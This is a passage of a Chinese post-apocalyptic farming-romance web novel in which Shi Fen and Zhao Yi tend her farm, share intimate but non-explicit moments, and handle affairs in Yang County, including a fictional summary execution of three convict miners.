蒸米饭这事,他还算了解流程,不熟悉的就问时枌,反正两口锅,他们一人一口,他蒸饭,她炖鸡。
“吃土豆么?”时枌问他。
“嗯,可以。”他还是比较喜欢土豆的。
“那明天要去收土豆哦,不然没得吃了。”今天的土豆是她临时去地里随便扯的,发现土豆都已经长出地面了,到了收获的时候。
“好。”赵弋一算,要收土豆的话,剥玉米就没那么多时间了,这样的话那一堆玉米的完工时间就要往后延迟。
果然是干不完的活。
怎么他们来农场的时候不是秋天呢?偏偏是春天,那时候时枌该播种播种完了,也没到收获季节,硬生生让秦丰他们闲了一个多月,结果把真正的农活留给了他。
可惜现在秦丰他们都被他安排了工作,一时半会儿肯定离不开阳县,他作为总指挥也不能叫他们过来。
赵弋把煮好的米沥出来,上架蒸,顺便放了两个咸鸭蛋两个皮蛋在米旁边,——他做家务都做出经验了,知道蒸米的时候可以一起蒸一些别的东西,不需要再重新找锅烧水。
晚上一大盆炖鸡就够了,趁着炖的功夫,赵弋把一楼所有房间还有客厅的地给拖了,时枌则是负责擦桌子柜子,顺便把沙发上的毯子丢到洗手间的桶里,这样明天赵弋就能跟衣服一起洗。
很快,整个屋子都是香喷喷的肉香。
时枌炖鸡没有什么诀窍,反正就是新鲜的鸡肉好吃的蘑菇,再加上土豆一起炖得烂烂的,简单调味就行,她自己是很喜欢吃的,但上桌时,她还是第一时间把一块鸡腿肉夹给了对面的赵弋。
她把鸡腿剁成了几块,没留一整个是因为一整个不容易入味,不好吃。
两人吃饭,就在离厨房更近的、墙边的小餐桌上。
因为做卫生,虎子大熊它们也是被安置在外边,不让进屋,等之后洗了澡再放进来。
“嗯,比我爸做的好吃。”赵弋如此评价。
时枌很满意他这个回答,继续吃自己的。
今天除了剥玉米也没干什么力气活,时枌并不太饿,简单填饱肚子,剩下的都交给了赵弋,而赵弋知道这是她难得下厨做饭,还是特意为他做的,当然不会剩,汤都留着拌饭吃干净,再把骨头跟实在吃不完的土豆倒给虎子它们吃。
下午是他刷碗,时枌在旁边动动脚踝,做康复训练,一边跟他聊天。
“剥玉米太无聊了,明天我们抽空去钓小龙虾吧?这个季节肯定很多虾,顺便收地笼,小龙虾特别好吃哦,就是处理起来比较麻烦。”
“要怎么处理?”
“钓上来,抽虾线,刷干净,还要用各种各样辣椒来油焖,挺费油的。”要不是得知今年还能有榨菜籽油,时枌也不会想这么费油的菜,“可惜了,叶枝蔚他们不在,他们都没吃过小龙虾吧。”
“那就在阳县送机器那天做,反正都要做,多做一些,送到阳县去,按你说的油焖,就算是冷了应该也能吃。”
“冷了也很好吃的。”
“钓龙虾再延迟几天,明天要收土豆。”赵弋提醒。
这么大的地,放眼望去全是活。
“行!”时枌看看外边已经天黑,给他点了蜡烛,打了招呼就自己上楼洗澡去了。
赵弋收拾完厨房,再拿了枕头,锁好门,才上去。
时枌还没上床,倒是取了把枪,在书桌前认真检查着,披散着头发,估计是洗了头,想把头发晾干再睡觉。
她头发比较长,夏天还好,冬天估计就比较麻烦,通电后,得买吹风机,赵弋想着。
他洗完澡出来,短发随便擦干不滴水,她正端枪,瞄准窗户外的什么东西。
赵弋靠近,一同俯下身,看过去,发现她瞄准的是一只鸟。
“算了。”时枌收了枪,“有邻居,我大晚上开枪容易吓到他们。”
她本想练练枪,毕竟去阳县那么久也没怎么摸过枪,这让她很没有安全感,担心自己一旦生疏又遇到敌人,还行动不便,那不是必死无疑吗?
赵弋看她今天拿枪就大概猜到了,看了看她的脚,“脚感觉怎么样?”
“落地不太舒服,看样子还在恢复,但能点地走了,能使劲。”只是长期没落地产生的害怕,担心自己一用力,那脆弱的筋骨又会出毛病,复健大概就是重新找回信任吧。
“再来一次,还想逮那只野猪吗?”
“……”
时枌真的很认真想了想。
“会逮,但是会先让它死透了再下树。”
原本就是这样,在野外,再小心谨慎都不为过,她就是仗着自己有经验才膨胀了过于自信,不然也不至于一头未成年野猪就害她伤成这样。
她说话时认真严肃的表情像是要再上山杀回去,柔软的唇都抿着。
赵弋轻笑,把她抱起来送到床上,合上蚊帐,俯身亲了下去。
铺天盖地的,一下子压上来,时枌都不明白他为啥就来
了兴致,偏偏她自己,亲着亲着,好像就有点享受这种晕乎乎的感觉了。
什么野猪什么小龙虾,都失去了吸引力,她鼻尖全是淡淡的肥皂香,还有过许久才滴在她脸上的那一滴水。
厮磨许久才分开,时枌突然觉得胳膊一痒,她立马警觉,把赵弋推开,红着脸气成番茄,“你没赶蚊子!”
赵弋:“……”
“它咬我了!”
时枌伸手给他看,那地方刚被蛰过,她习惯性手指抓了两下,肉眼可见的起了红色的小包。
干净白皙的皮肤上冒出这么个玩意,确实很糟心,更重要的是,它还痒,时枌用指甲掐了个十字封印还痒。
赵弋给她揉了揉,看着那一片皮肤红得发烫,心疼起来,“下次去兰城买电蚊拍回来。”
“还是先赶蚊子吧。”时枌伸脚踹了他一下。
赵弋就去拿蜡烛,看见蚊子就让她过来举着蜡烛,他直接拍死,等到彻底清理干净,终于找到那只咬她的。
因为那只被拍死的时候爆出来的血最多。
时枌一下子心气就顺了。
甚至神奇地发现,原本痒的不行的那个包也不痒了。
第108章 第108章“今天……怎么这么热……
在农场的生活似乎每天都很充实。
陆陆续续收了春播的土豆红薯,这些先在空地上晾晒两天,等上边的泥土大概脱落后就装袋收到地窖避光保存,地窖的环境应该能保存到冬天,同时留了一部分卖给阳县食堂。
然后就是剥玉米,翻地,养地,准备秋播。
种过一轮作物的土地需要更换种新的作物,时枌特地花了时间规划,再播种育苗,以至于忙到都没时间去钓小龙虾。
彻底忙完秋收跟秋播,还是在他们收到给玉米脱粒的机器再带上水稻跟菜籽还有新一批蔬菜瓜果去阳县的时候。
赵弋假期还没结束,但阳县那边已经发生了不得不需要他处理的事,所以赵弋自作主张把假期延后一周,中间这一周,他跟时枌就会留在阳县处理事情。
黑色越野车在前,货车在后,到了基地门口还是照旧安检,陈家父子三人已经守在门口,看见他们的车到了彻底放下心。
时枌带着菜籽过来,就说明他那十几亩地的油菜有指望了。
毕竟他没有兰城的关系搞不到种子,这附近唯一有大量种子的就只有时枌,还好时枌很好说话,而且他让老七在基地问过了,这小姑娘人品很好,经常给基地的士兵送东西吃。
安检完,陈老头就让两个儿子去帮忙卸货,他拿了个小本子记录,还带了一个称,卸一袋称一袋,记录重量。
“不用这么麻烦的。”看他们这么认真时枌都有些不好意思。
陈老头却说:“先把规矩立好,以后就按照规矩来,大家才能服气。”
“一亩地半斤种子,我从你这买入八斤,你这次在我这里榨油就不收取费用了,另外你的菜籽饼也留给你。”
油菜榨油过程撇去一开始的蒸啊什么的,之后需要把菜籽包起来大概是个饼的形状,榨完油后就会剩下一个饼的菜籽渣,时枌要这个是为了带回去当作肥料,这东西也是很好的肥,正好给她秋播前翻地用上。
“行,那一周后我来收。”陈老头计算好了重量,“一共六百三十二斤菜籽,估计能榨个一百八十斤左右的油,到时候你来取。”
他们之前就是做这个,对榨油还是很有经验的,刚收就给她报了个准数,看来对自家手艺很有信心。
“好。”时枌应下,收了陈老头递过来的手写的单子,上边详细记录了日期跟重量。
他们一家三口就拿带来的推车把菜籽带走,时枌再跟卸货的食堂工作人员核对这次送的菜。
赵弋在这陪了她一会儿就被叫去办公楼了,时枌一个人也能应付得来,毕竟都是老熟人。
她还有一些给秦丰他们带的东西,就让食堂的人帮忙卸下来,等秦丰一会儿过来拿。
这些东西她不可能先搬到赵弋家,不然又得楼上楼下地跑,已经提前跟他们小队成员还有张克夫妻发消息了。
最先到的是离得近的张克,他明显就是临时出来,还穿着作训服。
他看上去气色好了很多,上次时枌看他坐办公室的时候一脸幽怨浑身都是班味儿,看来现在被换到基地练兵对他来说更舒服,整个人精气神都不一样了。
“带了什么好东西?每次你来都跟救济灾民似的。”
还是一如既往狗嘴里吐不出象牙。
“玉米土豆自己挑,这袋枇杷是给宋阡的,这是今年最后一批枇杷了。”时枌站着给他指带来的东西,她周围围了一圈食物,甚至还有一桶鱼,“鱼你看看要不要,随便挑,是罗辉家送过来的。”
“我不会做鱼……算了,到时候问秦丰。”反正先把东西拿了再说。
时枌就像个卖菜的小摊贩,张克拿完走了,叶枝蔚是第二个来的,秦丰太忙,她跟秦丰已经同居,算是一家人,她来拿东西就够了。
叶枝蔚挑完,陪她等,问她恢复的怎么样,农场忙不忙需不需要帮忙。
“还行吧,能勉强走路了。最近农场挺忙的,都没时间钓小龙虾。”
“我攒了假期,可以过去帮忙。”叶枝蔚说。
“啊,那秦丰呢?”
“他没假,不过不重要,”说完叶枝蔚才想起来,“算了,我还是不去了,以免打扰你跟赵队。”
时枌:“不打扰啊,你住楼下,我俩住楼上。”
一不小心就把自己卖了。
“原来你们都住一起了啊。”叶枝蔚的语气也被周霓感染,充满着欲说还休的暧昧。
时枌:“……”
反应过来摸摸鼻子,这次倒是没了以前的大大方方,因为赵弋天一黑就喜欢亲她,干些见不得人的事。
叶枝蔚看她这幅模样靠过来,“你们,相处的很好?”
时枌也终于有了个可以交心聊私密话题的朋友,“就……亲的太频繁,这正常吗?”
“啊,”叶枝蔚反应过来,原来没到那一步,“挺正常的,喜欢就是会亲近,尤其是没人的时候。”
“你跟秦丰也这样?”
这次轮到叶枝蔚尴尬脸红,但她还是很诚实地点头,“嗯,也这样。”
只是尺度估计要比她现在要大一点点。
时枌就释然了。
她没有经验,不知道什么是正常什么是不正常,但是遵从本心的话她的确是喜欢赵弋的亲近的,只是太过亲密她就会下意识地想要逃避,觉得这样陌生的反应是不对的进而产生纠结,但现在有了参考,她就明白了,因喜欢而亲近,是正常的。
叶枝蔚等待半天,也没等到时枌问进一步的问题,更加坚定了之前的想法。
他俩,还在玩纯爱呢。
“所以,你们在农场相处的……好吗?”
时枌听完就点头,“很好,他很听话,主动分担家务,我脚不方便,他负责了很大一部分的农活,现在越来越像样了,都不需要我教,赵弋这个人,学习能力是真的强啊。”
“这么和谐?”叶枝蔚都震惊了,毕竟赵队给他的印象可没这么温顺听话,“不会是装的吧?你们相处时间不太长,他可能还在装模作样讨你喜欢,等时间长了就会显露原形。”
秦丰就是这样,追她的时候竭尽全力保持身材装的人模狗样,在一起后就开始放纵自己,之前胖的跟猪似的,还好现在来阳县物资不丰富饿瘦了。
“有可能。”时枌之前倒是没想到这一点。“那他为什么装呢?图什么?”
“图……你的喜欢吧,还有纵容。”
“啊,这个可以理解啦。”
她养虎子大熊甚至大花的
时候就明白了,想要获得一个人的偏爱就是需要讨好的,但是这个界限太过模糊又需要一定的约束,她不能太过溺爱自己的宠物们,当然偶尔给点甜头奖励小零食不算溺爱。
“行,你理解就好。”
两人在这边等到了骨头张照照,他俩单身汉而已,都不自己开火做饭的,平时就在食堂吃,所以拿的都是水果还有就是玉米。
至于周霓是最后一个,她负责几个厂的改动跟建设,比较忙,看见消息的时候就已经晚了,赶过来更是晚,好在剩的很多,她挑拣了一些,又跟叶枝蔚一起把剩余的帮时枌搬进赵弋家。
“你俩这还挺忙的啊,是不是以后赵队就得隔三差五回来办公?不然可就是异地恋哦。”
恋都没恋明白的时枌又学会了新名词:异地恋。
周霓说,异地恋,狗都不谈。
她曾经谈了一个西区部队的188六块腹肌活儿贼好的男人,结果还是因为东西两边距离太远,她又常年出任务,一个月可能都享受不了几次运气不好还能碰上月经,纠结许久还是分手另寻新欢。
小姐妹三人在沙发上坐了会儿,聊聊天,叶枝蔚跟周霓就跟她告别要去工作了,最近基地还是比较忙的。
时枌把她们送走,再看看这个屋子,有点陌生,又有点熟悉。
屋子还挺干净,可能是高层而且窗户关的严实,看上去没什么灰,卧室里也很干净。
想着他们还是得在这里住一周,时枌还是去扯了床单换了新的,毯子也拿到阳台抖一抖,再安置好电扇,给她热出一身汗,看看时间,已经晚上九点,她都有点饿了。
赵弋说会给她带宵夜回来,她就没开火做饭。
因为有电灯,时枌光亮如白日,比她农场的蜡烛要亮得多,不像在农场,这个时间他们肯定早早洗澡睡着了。
时枌拿了睡衣去好好洗了澡,舒舒服服的淋热水,头发洗的干干净净,还上了护发素,再用吹风机吹到半干。
狠狠感受了一把有电的快乐。
然后躺在沙发上看起了书,——书是赵弋家的,时枌刚刚才发现他这里的书并不是那些枯燥乏味的长篇名著,还有很多她喜欢的漫画,也不知道他是什么时候收集的,竟然都没跟她说,她之前在这里养伤的时候真的是一点都没发现,只以为这个书架就是装饰,放着一堆她爷爷才喜欢看的、厚的跟字典一样的书。
看到打哈欠的时候传来敲门声。
赵弋把钥匙给了她,这个点也只有可能是他了。
时枌爬起来去开门。
赵弋看见门开后就是一张笑脸。
经历一整天的工作,原本神经麻木的赵弋也弯起了嘴角,进屋换鞋时更是笑意加深。
他还穿着上班时的白衬衣黑西裤,跟在农场时完全不一样。
时枌认真看了会儿,发现……有点好看啊。
于是赵弋更没想到,时枌忽然凑过来,抱着他亲了一下。
他惊讶,但反应很快搂着她,回吻过去,呼吸凌乱时抵着人鼻尖问:“今天……怎么这么热情?”
他手上打包的宵夜都快被她撞掉了。
第109章 第109章他真的是,脸皮越来越……
“这样不好吗?”
时枌胳膊搭在他脖子上,仰头看着他,不解地眨眨眼。
赵弋将打包的宵夜挪到一只手上,然后俯身将她托起,腰侧就这么自然地多了两条腿,时枌下意识觉得他一只手抱不稳,腰带着腿往上挪了几分。
他默默深吸一口气,因为被抱起她比他高了些,于是仰头回答她之前的问题,“很好。”
凑过去吻她。
时枌也试探着,写着他的模样错开鼻尖,唇瓣轻启。
他今天似乎格外温柔,反而是时枌变得不耐烦,靠过去咬人嘴角,又小兽一般舔舐着刚刚咬过红肿的地方,似是亲昵地安抚。
赵弋神经一麻,抱着她到餐桌前,顺手将宵夜放了上去推到旁边,这一下没注意力度差点就把宵夜推下桌,但给她留了很大的空间,先用手垫一垫,才将她放上去。
俯身轻吻。
时枌晕晕的,察觉到肚子,才伸手推他脸:“我饿了。”
不如吃完再亲,她都不知道原来亲吻这么费体力。
“嗯,我也是。”他意有所指,依旧盯着她的唇,似乎下了很大的决心才挪开,“你先吃。”
“你不吃吗?”时枌注意到宵夜还挺多。
“多的留给我。”
他在人额头上亲了一下,才把她抱到椅子上,去拆宵夜,拆完才去洗澡。
宵夜是比较简单的炒面,但是是满满一大盘,有青菜有鸡蛋,底下还有两个煎荷包蛋,把面条撑得鼓起来。
时枌吃了一大半,剩下一小半面条跟一个鸡蛋,看着怪寒碜的,就起身去烧水,煮两个玉米。
赵弋洗个澡时间格外长,时枌玉米都煮好了,她掰了一小粒尝了下,确认熟了才放进冷水泡着,结果等她闲着没事掰玉米粒吃的时候,赵弋竟然还没出来。
她就去敲门。
里面传来赵弋沉闷的声音:“马上。”
“炒面都冷了。”她抱怨。
果然,里面水声停了,估计是在穿衣服,时枌才离开,把掰出一条线的玉米放到嘴边啃,每一次都能完整啃下来一小排玉米,再一起嚼,非常满足。
看赵弋还在磨磨蹭蹭,时枌嘀咕了句“不知道在干嘛”就帮他把他那个玉米也掰出一条线,方便他啃。
赵弋出来时,就看见她全神贯注地玩玉米。
“……”
也不知道催他做什么,他都没解决完就出来了。
拉下宽松的短袖挡住,扯了扯黑色长裤,他才去把桌子上的剩菜三两下扒拉完,时枌递给他缺了一排的玉米。
她教他怎么啃玉米。
“就这样,下边牙齿磕进去,一下子就下来了。”
“哦。”
赵弋也没想到自己有生之年还会被人教该怎么啃玉米。
但是按照时枌这种方法,确实啃得又快又干净。
“你今天很忙啊?”时枌看见冰箱就想着喝冰绿豆汤,大晚上的不辞辛苦洗绿豆,开火煮绿豆汤。
“矿上差点出事,明天还要过去一趟。”赵弋说。
差点出事,不是出了事,说明情况还算稳定。
他送去的那两百五十个劳改犯可不是好惹的,他们在兰城都没有做过苦力活,结果被送来阳县,一来就是挖矿,周围不是熟悉的狱警,而是看起来瘦不拉几没吃饱饭的南区部队,尽管他们有枪,但一旦起了摩擦,这群人可没什么道德感,头脑一热就敢撂挑子不干,吵架已经稀疏平常,直到昨晚,一群劳改犯合伙,抢了一个南区士兵的枪,擦枪走火,那一声枪响惊醒了整个阳县,南区负责人及时赶到才控制住现场,没死人。
他们这些忠于兰城的南区部队顶着兰城的kpi,干着最脏最累的活儿,还弹药紧张,天天喝营养液,连正常的基地食堂都没有,——阳县的基地食堂只供给基地士兵,完全不会管他们。
所以赵弋不在的这段时间,最受折磨的,就是他们这群人了。
昨晚南区部队负责人顶不住压力,才找上了赵弋,连夜打电话诉苦,希望他能回来主持大局。
但赵弋是什么人?他们叫他就得回来?
当然是不可能。
赵弋一开始拒绝了,但南区负责人却说,愿意协助减产,至少一半,按照赵指挥的需求来,同时,上交了他跟兰城一部分人的聊天记录。
这是要投诚。
赵弋就回来了。
毕竟他们是其它几支中最先服软的,他得开个好头。
时枌啃完了玉米,听着赵弋说这些阳县的弯弯绕绕。
“除了矿山,还有谁?”
“发电厂,那群人是兰城派过来的核心技术人员,对那边的忠诚……也挺盲目。”后半句他语气就变得嘲讽起来。
“真奇怪,你有兵,有枪,他们还在你的地盘上,敢这么对你。”
“人不是一下子就会识时务的,他们需要一些压力。”
聊完这些,时枌也困了,去刷完牙都没拿书,准备直接睡。
赵弋则是去洗了碗,再去洗手间收拾一番,才上床睡觉。
有电扇,就不需要蚊帐,不会有蚊子来咬。
时枌还老老实实地盖上了毯子,一翻身,钻进他怀里,又热情起来。
赵弋可受不住她这样毫无规律突如其来的热情,扣着人腰,嗯了一声询问。
“今天没那么热,我抱抱没胖的你。”
“嗯?”赵弋更听不懂了。
“叶枝蔚说,秦丰谈了恋爱就会放纵,不注意身材管理,叶枝蔚都不想让他
上床。”
但是赵弋不一样。
精瘦的腰一点软乎乎的肉都没有,胸肌也是手感十足,尤其是肩颈跟胳膊线条,干农活的时候格外赏心悦目,哦对,还有翘臀。
时枌胆子很大,说摸就摸。
赵弋浑身一僵。
拉着她的手老老实实搭在自己腰上,“跟叶枝蔚学的?这么耍流氓?”
“这是耍流氓?”时枌很无辜,“我只是想摸一下,你这个很翘。”
“……”被她这么夸赵弋真的开心不起来。
“不能摸?”她又问。
“换位思考一下,如果我这样对你,你是不是会不高兴,会觉得冒犯?”
时枌仔细思考,“也不一定。”
“……”
她拉着他的手往后,“你抱我的时候就没碰过?”
他今天洗澡的时候就没解决好,本来都压下去了,大晚上被她这么闹又起来。只是简单碰了一下,赵弋就抽出手,“别在床上这样。”
“为什么?”
“我会难受。”
时枌很聪明地低头看了一眼。
“没事,我帮你嘛。”
很诱人的条件,赵弋却深吸一口气,将人搂紧,下巴抵着人脑袋,“算了,睡觉。”
他又不是个禽兽,天天都要。
“你又不难受了?”
“这种事,是要两个人都快乐的。”他说。
没等时枌再接话,他又低头在她耳边说:“今天不太行,明天要早起去矿山,你明天也要去老中医那边看看,太晚了,早点睡。”
她回阳县也不仅仅是为了陪他,秋播还需要她盯着,而且还得去老中医那边把脉看看身体情况。
时枌手却没挪开,手指下是成块的腹肌,手感很好像凉席,就是太热了。
她本来就困,他这么一说,她就老实没再作乱,闭上眼很快就睡着了。
结果第二天清晨,她却在一片燥热中醒来。
清晨似乎是个很混沌的时刻,让她一时间分不清是现实还是梦境。
手腕被控制住,身侧不断压近的身躯,硬成块的肌肉从她手下划过,然后就是一声轻哼。
就在她耳边。
“唔……”
还没来得及出声,就是压上来的深吻,她甚至都不知道他醒没醒,还是完全遵循本能这么做,直到舌尖发麻,一切都被他压下,他安抚似的亲着她鼻尖,下巴,下颔。
算了,他就是个禽兽,赵弋想着。
折腾一早上,时枌很暴躁,踢了他好几脚他也没有半分抱怨,闷哼过后继续哄,也不一定是手,反正得挨着她。
弄得时枌一早上心浮气躁,睡又睡不着,跟着他一起起来洗漱。
刷牙时就骂他:“昨晚怎么不办?非得大早上?”
赵弋也觉得自己昨晚脑抽,结果一个梦就给他抽回来了,睁开眼就是怀里的人,不出意外地出了意外。
“没事,你可以睡到中午,早上别喝冰绿豆汤,睡醒再下去吃饭,我在食堂给你定了。”赵弋洗漱比她快得多,还能替她理理头发,再去把一身脏衣服换下来,也不顾忌洗手间还有人,拿下花洒冲洗,时枌一瞥眼就能看见,擦干过后,再自然不过地穿上一身制服,神清气爽的衣冠禽兽一枚。
时枌:“……”
他真的是,脸皮越来越厚了。
“记得把衣服洗了。”
时枌去卧室换下睡衣再扔给他,赵弋卷起衬衣袖子,洗了衣服晒好才出门上班。
上班前,还不忘去亲亲她。
再次提醒:“起床别喝冰绿豆汤,下楼吃饭。”
时枌用毯子裹住脑袋,不太耐烦地赶他:“知道了。”
她又不是小孩子。
还好还能睡着,只是梦里还是那种要上不上要下不下的憋屈感,又热又烦,让她想狠狠咬始作俑者一口,但却在梦里看见他蹙起的眉毛,仿佛他也是在跟她感同身受的受苦,时枌就觉得心里畅快了些。
但还是燥热。
直到被热醒才发现。
他们起床时不小心撞到了电扇,此时电扇歪着脑袋狂吹墙壁,她大中午的睡觉没电扇,可不热吗?
时枌把这一桩记在了赵弋头上,然后起身遵循本心去拉开冰箱,给自己舀了一大勺“绿豆粥”。
她爱吃绿豆,对汤不太感兴趣。
一碗冰凉凉的绿豆粥下肚,舒服多了。
第110章 第110章然后她就给他挂了。
矿山。
与其称作“山”,其实不如称作坑。
末世前阳县就开采过,原本的“山”变得凹陷,成为一个巨大的、黑色的坑,而在坑边缘则是蜿蜒着的供运输车行驶的道路,一圈一圈爬上平地。
十五年后的现在,他们接替了开采工作,直接沿用之前的设备跟开采思路,除却一开始的清理跟机器修理工作,其他的确实没啥可干的,这两座矿山对于兰城来说纯属捡漏。
阳县的两座矿山其实挨得很近,煤跟铁都很重要,因此两边安排的人手几乎差不多,相应的,安排的看顾人员,也就是被发配到这边的南区部队的倒霉蛋们人数也是差不多的。
南区部队的人平时跟矿工一样吃住都在这边,但是生活条件要比矿工们要好得多。
有宽敞的房屋,每日三支营养液,以及各种补贴跟工资,——虽然来阳县这鬼地方有积分他们也不知道该怎么花,毕竟商铺都开在居民区,还要仰仗商铺的关系从阳县进货,一些基础的生活用品都是如此,他们想要买,还得托那些进城的人顺便带回来,因为矿山这边资源有限,赵弋严格把控他们的汽油分配,除却挖矿的挖掘机运输车之外,不准往兰城运任何资源。
他们心里都清楚是兰城先坏了规矩,试图拿物资来逼迫赵弋妥协接受老弱病残,赵弋现在这么做他本身也冒着很大的风险,但是,这跟他们有什么关系呢?
神仙打架,平民遭殃。
坐在矿山边缘叼着草的士兵们呸了一声,开始日常吐槽。
“竹竿怎么说啊?不会真把他们几个关进去吧?”一个黑脸壮硕的男人开口。
他指的是前些天被矿工抢了枪的那个同伴,后续竹竿,也就是他们的负责人把被抢枪的跟当时的几个士兵都抓了过去,到现在还没放出来,还不知道是什么处理结果。
“听说要等赵队回来再处理。”一人说。
他们这些人,之前跟赵弋有过合作或者是有点关系的就习惯称赵队,完全不熟的则是跟着其他人一起称赵指挥。
“这是头一回,杀鸡儆猴也得严惩吧?”
闹事的矿工也被抓进去了。
几人嘀咕着,忽然,一人发现高高瘦瘦的竹竿跟在一个男人屁股后边弯腰驼背的模样,殷勤的很,正往这边走来,他们后边还缀着一个穿制服的男人,那是赵弋的副官。
一群人立马紧了皮,站起来敬礼:“赵指挥!”
赵弋相当高冷地点了下头,再看向面前的深坑,看了会儿,才挑下眉毛,“最近工作挺辛苦的吧?”
“不辛苦!”
“我的意思是,没必要这么累,阳县内部对煤炭的需求比较小,铁矿石更是可有可无。”
竹竿立马接话:“是是是!我们按需开工!今天就休息!”
“冬天快到了,煤炭我们可以自己简单处理,到时候就能取暖,你们不能光顾着兰城的供应不考虑我们自己的生活,你说是吧?”
“是是是!赵指挥说的是!”
这副狗腿子模样给周围士兵都看呆了。
“把矿工都叫过来,我看看。”来都来了,赵弋干脆摆足了谱。“另外把闹事的那些矿工,还有看管的士兵也带过来。”
竹竿赶紧吩咐下去,没多久,就有人把他们都带了过来。
沿着矿坑边缘站的是正常工作的矿工,另一边带过来的三个灰头土脸却依旧一脸凶相的是闹事的,还有同样灰头土脸但看上去精气神还不错的四个士兵。
赵弋身边的副官递上一份资料。
他打开翻了下,很大方地给旁边竹竿看,用动
作表示他不用贼眉鼠眼地偷瞄。
竹竿就看见,那一张张都是面前这三个闹事矿工的资料,比他手上那份要详细得多,从出生到现在都记录的一清二楚。
一个在出任务时虐杀同伴,一个在兰城居民区**未成年,还有一个外出清理丧尸时为了多挣积分让身边同伴先转化,再杀掉。
给竹竿看得冒出一身冷汗。
他知道兰城会送一批犯人过来,但没想到都是这种人。
而且,他手上也有一份兰城给过来的犯人资料,那是他在被分配这二百五十个劳改犯后花了大价钱求兰城老熟人发给他的,没想到这部分资料里面竟然被“美化”过。
想明白这一点,竹竿咬牙切齿,强颜欢笑看向赵弋。
赵弋把手里的资料交给了他,“原本之前休假的时候就打算给您的,只是事情多,我给忙忘了,今天正好顺便送过来。”
竹竿倒吸一口冷气。
“这些人不好管,最近也辛苦你了。”
竹竿冷汗涔涔。
赵弋笑着拍拍他肩膀,竹竿忙说“不辛苦不辛苦”。
“那这几个,我替你处理了?”
“不不不,这是我的荣幸。”
赵弋继续微笑,收了手之后,慢条斯理从腰间抽出一把手枪。
“砰砰砰——”
三枪过后,闹事的三人脑袋开花倒下,乍然响起的枪声在整个矿山回荡,让现场所有人都绷紧了皮,头皮发麻地想着下一个会不会轮到自己。
在兰城内部,因为人口原因,死刑的判定极其严苛,基本上可以说是不允许死刑,就这三个,在末世前都够枪毙了,偏偏活到现在。
所以在兰城生活习惯了的人,对赵弋这种处理方式都是一阵胆寒。
很奇怪,保护区之外大家杀的风生水起,一进那个地方,好像就都变成了巨婴,见不得一丁点血。
可惜这里是阳县,赵弋说了算。
他收了枪,让人把那几个士兵放了,回归原职,然后侧了侧脑袋,对旁边的竹竿低声说:“我给您开了个头,之后再有这种事,相信不需要我亲自到场吧?”
其实最完美的时机就是在这三人夺枪当晚当着所有人的面就地枪毙,事后说是走火也好,杀鸡儆猴也罢,这种做法都是最有效的,错过了那个时机,到了今天再处理其实已经有点迟了。
但没关系,赵弋不在乎他的名声。
他都挺身而出给他“开了个头”,南区负责人心里已经清楚了。
还管什么兰城不兰城的,他们都不管自己人死活,他带着这么多兄弟还得活下去呢。
“是,我明白了,赵指挥。”竹竿肃然道。
赵弋很是欣慰地笑了一下,扭头时摸了摸有些僵硬的嘴角,“我看这边条件艰苦,大家最近也受苦了,我今天刚安排下去,以后基地的人会跟你们一起,轮班上岗,你们偶尔也能回居民区住,吃点热乎饭,只是这样通勤就比较麻烦,有大巴车,汽油是个问题,所以之后我会跟你们负责人商量一下,将矿山的汽油挪一部分出来用于通勤。”
此话一出,那些士兵们眼睛都亮了。
“至于矿工们,表现良好的,可以重新安家落户分田地,如果有能力进基地,通过审核之后我也会批准。”
矿工中不少抬头看着赵弋,眼睛似乎有了光亮。
安排完这些,赵弋拒绝了负责人的午饭邀请,坐车回基地。
反正这地方的午饭也就是一群人凑在一起喝营养液,没什么好吃的。
目前阳县主要问题就是缺人,不仅缺人,还缺士兵。
指望大家生孩子是不可能,周期太长,所以赵弋才会对矿工们说那些话,能改过自新就最好,除此之外,补充人口也可以从小队出任务方面入手。
在外独立生存的队伍不少,如果能招揽进阳县,能够很好的补充兵力。
在车上赵弋靠着副驾驶车窗,脑中一个个计划浮现,想得烦了,就打电话给时枌。
对方没接。
开车的副官叽叽喳喳:“他们攒了一堆的任务汇报就等着您回来,今天估计得加班到晚上,基地各个部门的领导也排队等着……”
“让他们等着,先安排任务汇报。”
外出的探险小队除了搜寻资源清理丧尸跟潜在威胁之外,也是在收集信息,让他对阳县外围的情况能有及时的了解,才能做出反应,这也是为什么赵弋一直坚持让阳县基地的士兵出任务。
他又拨了第二个电话。
终于接通。
“干什么?我在地里。”对面声音还挺不耐烦。
“郊外的地吗?”赵弋倒是心情很好地跟她聊了起来。
“嗯,在准备秋播。”
“都有谁?”
“农业部的人,我也不太熟,你应该知道名字。”
“嗯,其实我也不是很熟。”他没时间去记那么多名字。
“不聊了,现在阴天,要抓紧时间播种。”
“等等,晚饭回来吗?”
“回不去,得天黑之后。”
“那到基地给我打电话,一起吃饭。”
“好。”
然后她就给他挂了。
“啧。”
赵弋胳膊搭在车窗上,看着窗外毫无人气的一片村庄房屋。
这幅场景让他想起矿山附近的集装箱,那是他们矿工还有南区部队住的地方。
如果有的选,大家应该是想住自己家里的吧。
尽管是远离故土,完全陌生的房屋,但只要住的久了,对这片土地有了感情,他们就会有归属感,想要留下来。
“管房屋分配的是哪个部门?”赵弋问。
“……没有这个部门,因为都已经分好了,所以之前重新安排的时候就被整合了,要真的说起来,是被划到农业部去了。”
那边管田地,因此顺便就把地都分给他们了。
“晚点你去找他们,让他们跟南区那边的人联系一下,把这一片的地跟房屋分给他们,鼓励他们自己种地。”
“好的。”
一整天的奔波,回到基地又是冗长的任务汇报,直到天黑,赵弋才动了动发麻的后颈,给时枌打了个电话。
又没接。
110-120
第111章 第111章“那算他们有种。”……
郊外。
这附近没有人住,空置的房屋很多,但都是农村独门独户的房子,因为在居民区之外,安全没有保障,这地方也就没有搬来居民。
但这个方向,是朝着时枌农场的,也就是在基地跟农场之间靠近基地的地方,从基地开车过来需要七八分钟。
中午时枌吃完饭就带着农业部的老头跟农业部新来的苦力们,——赵弋精心抽调的五十个劳改犯,再加上之前有过开地经验的老刘一起来了郊外。
首先要干的就是除草。
农具他们都有,每人分发到位,再由时枌他们来指导苦力该怎么除草该怎么翻地。
这里原本就是农田,只是长期无人耕种,起的垄不太明显,除了要清理田里的草外,小路上也要清理,至于杂草就只需要找个地方堆起来。
清理跟收集杂草的分两批人,轮流干活,周围是荷枪实弹的士兵看着他们,避免有人逃跑或者试图反抗。
之前这些人都是在监狱,被关的严严实实,
也不怕跑,但是这地方太开阔,人就容易起心思,时枌在开工前就提醒他们了,一旦逃跑,他们一定会开枪。
“你跟谁学的这些?”农业部老头姓叶,因为年纪大了,不常把自己名字挂在嘴边,大家都叫他老叶。
